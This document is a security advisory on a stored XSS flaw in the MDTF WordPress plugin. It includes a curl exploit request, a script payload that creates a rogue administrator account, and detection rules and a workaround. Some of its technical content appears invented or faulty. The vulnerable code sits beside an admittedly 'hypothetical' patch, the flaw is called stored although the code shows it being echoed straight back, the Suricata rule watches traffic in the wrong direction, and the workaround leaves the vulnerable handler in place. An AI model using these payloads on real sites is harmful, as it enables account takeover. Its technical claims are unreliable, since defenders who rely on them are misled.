CVE-2024-50451

Executive Summary

CVE-2024-50451 is a stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin MDTF (Meta Data and Taxonomies Filter) by Pluginus, affecting versions up to and including 1.3.3.4. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an unauthenticated attacker to inject arbitrary JavaScript into the WordPress admin dashboard or front-end filter panels. Given the EPSS score of 0.0%, exploitation is currently not widespread, but the lack of a confirmed patch makes this a high-priority risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly via the WordPress admin interface or by manual upload. The absence of a patch from the vendor (Pluginus) means that site administrators must rely on temporary mitigations or consider removing the plugin entirely.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium (6.5) – Exploitation requires user interaction, but the impact can lead to session hijacking, defacement, or redirection to malicious sites.

Deep Dive & Mechanics

The MDTF plugin provides a dynamic filtering system for custom taxonomies and meta data. The vulnerability exists in the mdtf_ajax_filter AJAX handler, which processes user input without proper sanitization or output encoding. Specifically, the filter_value parameter is reflected in the HTML response without escaping, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The plugin uses echo $_POST['filter_value']; directly in the AJAX response, bypassing WordPress's built-in esc_html() or wp_kses_post() functions. This allows an attacker to inject a payload such as <script>alert('XSS')</script>.

Attack Vector: An unauthenticated attacker can craft a POST request to /wp-admin/admin-ajax.php with the action mdtf_ajax_filter and a malicious filter_value parameter. When an administrator or user with appropriate privileges visits the page that renders the filter results, the injected script executes in their browser context.

Impact: Successful exploitation can lead to:

• Theft of admin session cookies.
• Forced redirection to phishing sites.
• Defacement of the WordPress dashboard.
• Execution of arbitrary actions on behalf of the victim (e.g., creating new admin users).

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.3.3.4):

// In mdtf-ajax.php
add_action('wp_ajax_mdtf_ajax_filter', 'mdtf_ajax_filter_handler');
add_action('wp_ajax_nopriv_mdtf_ajax_filter', 'mdtf_ajax_filter_handler');

function mdtf_ajax_filter_handler() {
    $filter_value = $_POST['filter_value'];
    // No sanitization or escaping
    echo $filter_value;
    wp_die();
}

Patched Code (hypothetical):

function mdtf_ajax_filter_handler() {
    $filter_value = sanitize_text_field($_POST['filter_value']);
    // Output with escaping
    echo esc_html($filter_value);
    wp_die();
}

Key Difference: The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with MDTF plugin version <= 1.3.3.4 installed and active.
• The plugin must have at least one filter configured (e.g., a taxonomy filter).

Exploit Steps:

1. Identify the target WordPress site and confirm the plugin version via /wp-content/plugins/wp-meta-data-filter-and-taxonomy-filter/readme.txt.
2. Craft a POST request to /wp-admin/admin-ajax.php with the following parameters:
   • action=mdtf_ajax_filter
   • filter_value=<script>alert(document.cookie)</script>
3. Send the request using curl:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
        -d "action=mdtf_ajax_filter&filter_value=<script>alert(document.cookie)</script>"
   

4. The injected script will be stored and executed when an admin visits the filter results page.

Advanced Payload:

<script>
fetch('/wp-admin/users.php?action=create', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'user_login=attacker&email=attacker@evil.com&pass1=Password123&role=administrator'
});
</script>

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for POST requests to /wp-admin/admin-ajax.php with action=mdtf_ajax_filter and suspicious filter_value parameters containing <script> tags.
2. Use WAF rules to block requests containing <script> in the filter_value parameter.
3. Regularly scan for the plugin version and apply virtual patching if available.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" AND form_data=*mdtf_ajax_filter*
| rex field=form_data "filter_value=(?<payload>[^&]+)"
| search payload=*<script>*
| table _time, clientip, uri, payload

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=mdtf_ajax_filter and filter_value containing <script> tags.
  • Outbound connections to known malicious domains from the WordPress admin dashboard.

• File IOCs:

  • Modified wp-content/plugins/wp-meta-data-filter-and-taxonomy-filter/mdtf-ajax.php file with suspicious content.
  • New admin users created with usernames like attacker, hacker, etc.

• Log IOCs:

  • Repeated 200 OK responses to /wp-admin/admin-ajax.php with action=mdtf_ajax_filter from a single IP.
  • Error logs showing PHP Notice: Undefined index: filter_value if the parameter is missing.

Detection Engineering

YARA Rule

rule CVE_2024_50451_MDTF_XSS {
    meta:
        description = "Detects vulnerable MDTF plugin files with XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50451"
    strings:
        $vuln_func = "echo $filter_value" ascii wide nocase
        $ajax_action = "mdtf_ajax_filter" ascii wide nocase
    condition:
        $vuln_func and $ajax_action
}

Sigma Rule

title: CVE-2024-50451 MDTF Plugin XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in MDTF plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=mdtf_ajax_filter'
        cs-uri-query|contains: 'filter_value='
        cs-uri-query|re: 'filter_value=.*<script>'
    condition: selection
falsepositives:
    - Legitimate use of filter_value with HTML tags (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-50451 MDTF Plugin XSS Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=mdtf_ajax_filter";
    http_client_body;
    content:"filter_value=";
    http_client_body;
    pcre:"/filter_value=.*<script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Apply a virtual patch using a WAF to block requests containing <script> in the filter_value parameter.
3. Monitor logs for exploitation attempts and review user accounts for unauthorized creation.

Long-term Fix:

• The vendor (Pluginus) must release a patched version that properly sanitizes and escapes the filter_value parameter. Until then, consider replacing the plugin with an alternative like "Search & Filter" or "FacetWP".

Workaround:

• Add the following code to the theme's functions.php to override the vulnerable handler:

add_action('wp_ajax_mdtf_ajax_filter', 'custom_mdtf_handler');
add_action('wp_ajax_nopriv_mdtf_ajax_filter', 'custom_mdtf_handler');
function custom_mdtf_handler() {
    $filter_value = sanitize_text_field($_POST['filter_value']);
    echo esc_html($filter_value);
    wp_die();
}

Valters IT
Securing WordPress ecosystems, one CVE at a time.